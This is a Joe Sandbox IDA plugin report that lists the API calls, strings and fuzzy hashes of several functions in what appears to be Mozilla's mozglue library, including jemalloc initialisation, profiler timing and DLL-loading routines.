Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: a215de4c99f49aa17b78ebeff03b39a45d764e3a41d83a60415d687a5c093059
Instruction ID: 29b9143845e1026bb3015a5c0a9b3b4962b574e8f33d15277e67a7b83d790606
Opcode Fuzzy Hash: a215de4c99f49aa17b78ebeff03b39a45d764e3a41d83a60415d687a5c093059
Instruction Fuzzy Hash: CB52D671A05324DBFB21DF24CC88BAA77BCEB8A304F115599E90997A40DB70AF85CF51

Function 6C536FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E7DC), ref: 6C537019
LeaveCriticalSection.KERNEL32(6C58E7DC), ref: 6C537061
EnterCriticalSection.KERNEL32(?), ref: 6C5371A4
LeaveCriticalSection.KERNEL32(?), ref: 6C53721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C53723E
EnterCriticalSection.KERNEL32(?), ref: 6C53726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5372B2
LeaveCriticalSection.KERNEL32(?), ref: 6C53733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5373E8
LeaveCriticalSection.KERNEL32(?), ref: 6C53961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C539622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C539642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C53964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5396CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5396DB
AcquireSRWLockExclusive.KERNEL32(6C58E804), ref: 6C539747
GetSystemInfo.KERNEL32(?), ref: 6C539792
__Init_thread_footer.LIBCMT ref: 6C5397A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C58E810,00000040), ref: 6C5397CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E7B8,00001388), ref: 6C539838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E744,00001388), ref: 6C53984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E784,00001388), ref: 6C539874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E7DC,00001388), ref: 6C539895

Strings

MOZ_CRASH(), xrefs: 6C539B42
MALLOC_OPTIONS, xrefs: 6C5397CA
Compile-time page size does not divide the runtime one., xrefs: 6C539B38
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5399BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C539933, 6C539A33, 6C539A4E
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C539993
: (malloc) Unsupported character in malloc options: ', xrefs: 6C539BF4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5399D2
<jemalloc>, xrefs: 6C539B33, 6C539BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5399A8

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: f95202ed6b6a4009c993f207c1a37c4fab20c2bb721104282ca7c8b46c312433
Instruction ID: d6a3b9177f5433baa989cb98406f0edbf02a0190173efda9e8fcb8d10f6b272f
Opcode Fuzzy Hash: f95202ed6b6a4009c993f207c1a37c4fab20c2bb721104282ca7c8b46c312433
Instruction Fuzzy Hash: B95350B1A05721CFD704CF28C980615BBE1BF86328F29D66DE869DB791E771E841CB81

Function 6C540DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C540F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C540F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C540FB7
EnterCriticalSection.KERNEL32(?), ref: 6C540FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C541031
LeaveCriticalSection.KERNEL32(?), ref: 6C5410D0
EnterCriticalSection.KERNEL32(?), ref: 6C54117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C541C39
EnterCriticalSection.KERNEL32(6C58E744), ref: 6C543391
LeaveCriticalSection.KERNEL32(6C58E744), ref: 6C5433CD
LeaveCriticalSection.KERNEL32(?), ref: 6C543431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C543437

Strings

MOZ_CRASH(), xrefs: 6C543950
MALLOC_OPTIONS, xrefs: 6C5435FE
Compile-time page size does not divide the runtime one., xrefs: 6C543946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5437BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C543559, 6C54382D, 6C543848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C543793
: (malloc) Unsupported character in malloc options: ', xrefs: 6C543A02
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5437D2
<jemalloc>, xrefs: 6C543941, 6C5439F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5437A8

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 8211b541b9d9fca23d071a00b58d3d81e22097efa1930f6938ea63c5f87a500b
Instruction ID: ae81f0b036153f073efba34e6fb3144c5ef50bc45058dcfa291160c4087d8e44
Opcode Fuzzy Hash: 8211b541b9d9fca23d071a00b58d3d81e22097efa1930f6938ea63c5f87a500b
Instruction Fuzzy Hash: 6E53AC72A057118FD704CF28C940616FBE1BF8A328F29C66DE869DB7A1D771E851CB81

Function 6C5655F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C53E1A5), ref: 6C565606
LoadLibraryW.KERNEL32(gdi32,?,6C53E1A5), ref: 6C56560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C565633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C56563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C56566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C56567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C565696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5656B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5656CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5656E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5656FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C565716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C56572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C565748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C565761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C56577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C565793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5657A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5657BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5657D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5657EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5657FF

Strings

FillRect, xrefs: 6C565729
LoadIconW, xrefs: 6C56575B
GetSystemMetricsForDpi, xrefs: 6C565677
gdi32, xrefs: 6C56560A
DeleteObject, xrefs: 6C5657F9
AreDpiAwarenessContextsEqual, xrefs: 6C565637
CreateSolidBrush, xrefs: 6C5657E4
GetMonitorInfoW, xrefs: 6C5657A2
GetDpiForWindow, xrefs: 6C565690
CreateWindowExW, xrefs: 6C5656C5
SetWindowPos, xrefs: 6C5656F7
EnableNonClientDpiScaling, xrefs: 6C565666
ReleaseDC, xrefs: 6C565742
MonitorFromWindow, xrefs: 6C56578D
LoadCursorW, xrefs: 6C565774
GetThreadDpiAwarenessContext, xrefs: 6C56562D
GetWindowDC, xrefs: 6C565710
RegisterClassW, xrefs: 6C5656AC
ShowWindow, xrefs: 6C5656DE
StretchDIBits, xrefs: 6C5657CC
SetWindowLongPtrW, xrefs: 6C5657B7
user32, xrefs: 6C565601

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 00de639ef01af16e70bb5cc8256a2ae75c894e7ba26a01aa61417d21ef29a3ae
Instruction ID: af76bb25cb525de9e8170bf69e87db3ad1547d96c4eacc8bf6cd23fa3078c645
Opcode Fuzzy Hash: 00de639ef01af16e70bb5cc8256a2ae75c894e7ba26a01aa61417d21ef29a3ae
Instruction Fuzzy Hash: A95122707537239FEB10AF368D449263AFCAB0B2457626525E961E2E63EB74C800CF74

Function 6C5634A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C56355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5635BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5635E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C56363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5636CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C56373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C56378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5638BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5639EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563EE2

Part of subcall function 6C566180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5661DD
Part of subcall function 6C566180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C56622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5640F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C56412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C564157

Part of subcall function 6C566180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C566250
Part of subcall function 6C566180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C566292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C56441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C564448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C56484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C564863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C564878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C564896
free.MOZGLUE ref: 6C56489F

Strings

, xrefs: 6C564CD2

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: c41ea1802e9a66e66ae460f10651acb4211539bbf5c9ccd5a99c73038f2af292
Instruction ID: 5ee04a8c17e571746c8b12bc5936e9a806da702616d266ea7055c58ab7ccccec
Opcode Fuzzy Hash: c41ea1802e9a66e66ae460f10651acb4211539bbf5c9ccd5a99c73038f2af292
Instruction Fuzzy Hash: 76F24B74909780CFC721CF29C49469AFBF1BFCA348F118A5ED98997721DB319896CB42

Function 6C54F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C54F09B

Part of subcall function 6C525B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5256EE,?,00000001), ref: 6C525B85
Part of subcall function 6C525B50: EnterCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525B90
Part of subcall function 6C525B50: LeaveCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525BD8
Part of subcall function 6C525B50: GetTickCount64.KERNEL32 ref: 6C525BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C54F0AC

Part of subcall function 6C525C50: GetTickCount64.KERNEL32 ref: 6C525D40
Part of subcall function 6C525C50: EnterCriticalSection.KERNEL32(6C58F688), ref: 6C525D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C54F0BE

Part of subcall function 6C525C50: __aulldiv.LIBCMT ref: 6C525DB4
Part of subcall function 6C525C50: LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C525DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C54F155
GetCurrentThreadId.KERNEL32 ref: 6C54F1E0
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F1ED
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F212
GetCurrentThreadId.KERNEL32 ref: 6C54F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C54F248
GetCurrentThreadId.KERNEL32 ref: 6C54F2AE
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F2BB
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F2F8

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54F350
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F35D
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F381
GetCurrentThreadId.KERNEL32 ref: 6C54F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F3A0
GetCurrentThreadId.KERNEL32 ref: 6C54F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F491

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C54F3CF

Part of subcall function 6C54F070: GetCurrentThreadId.KERNEL32 ref: 6C54F440
Part of subcall function 6C54F070: AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F44D
Part of subcall function 6C54F070: ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C54F4A8
GetCurrentThreadId.KERNEL32 ref: 6C54F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F561
GetCurrentThreadId.KERNEL32 ref: 6C54F577
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F585
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C54F56A
[I %d/%d] profiler_resume, xrefs: 6C54F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C54F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C54F3A8

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 679853bbc95144af9276d91ae6baa80eada1a23ad7d2cfd78ac93d05d2ded500
Instruction ID: 44c735f24241982849936393c24bf798ba42781498188fd26736f19ebce5ee37
Opcode Fuzzy Hash: 679853bbc95144af9276d91ae6baa80eada1a23ad7d2cfd78ac93d05d2ded500
Instruction Fuzzy Hash: C0D12B31606230DFDB00EF68DC047AA77F8EB8B328F11571AE95593B91DB715808C7AA

Function 6C5164C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5164DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5164F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C516505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C516518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C51652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C51671C
GetCurrentProcess.KERNEL32 ref: 6C516724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C51672F
GetCurrentProcess.KERNEL32 ref: 6C516759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C516764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C516A80
GetSystemInfo.KERNEL32(?), ref: 6C516ABE
__Init_thread_footer.LIBCMT ref: 6C516AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C516AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C516AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C516798
detoured.dll, xrefs: 6C5164DA
nvdxgiwrap.dll, xrefs: 6C516513
nvd3d9wrap.dll, xrefs: 6C516500
user32.dll, xrefs: 6C516526
_etoured.dll, xrefs: 6C5164ED

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: b7735e80a63461db5a99e9194eb236483fb6d9d5ea4a924323c64d0322f9580c
Instruction ID: 3347e49f6074858982839eaace3ee2f3cadcccfc6c021a331294a46f0ac1eb04
Opcode Fuzzy Hash: b7735e80a63461db5a99e9194eb236483fb6d9d5ea4a924323c64d0322f9580c
Instruction Fuzzy Hash: D9F1A470909329DFEB20DF24CC4CB9AB7B5EF46318F154299D809A7A41DB31AE84CF91

Function 6C52D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C52D904
LeaveCriticalSection.KERNEL32(?), ref: 6C52D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C52D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C52E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C52E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C52E315
AcquireSRWLockExclusive.KERNEL32(6C58E804), ref: 6C52E37C
GetSystemInfo.KERNEL32(?), ref: 6C52E3C7
__Init_thread_footer.LIBCMT ref: 6C52E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C58E810,00000040), ref: 6C52E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E7B8,00001388), ref: 6C52E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E744,00001388), ref: 6C52E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E784,00001388), ref: 6C52E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E7DC,00001388), ref: 6C52E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E768,00001388), ref: 6C52E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C52E52E
ReleaseSRWLockExclusive.KERNEL32(6C58E804), ref: 6C52E54F

Part of subcall function 6C51D960: EnterCriticalSection.KERNEL32(?), ref: 6C51D999
Part of subcall function 6C51D960: EnterCriticalSection.KERNEL32(6C58E7B8), ref: 6C51DA13

Strings

MOZ_CRASH(), xrefs: 6C52E62B
Compile-time page size does not divide the runtime one., xrefs: 6C52E621
MALLOC_OPTIONS, xrefs: 6C52E3FF
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C52E560, 6C52E58A, 6C52E5A5
: (malloc) Unsupported character in malloc options: ', xrefs: 6C52E6DD
<jemalloc>, xrefs: 6C52E61C, 6C52E6CC

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
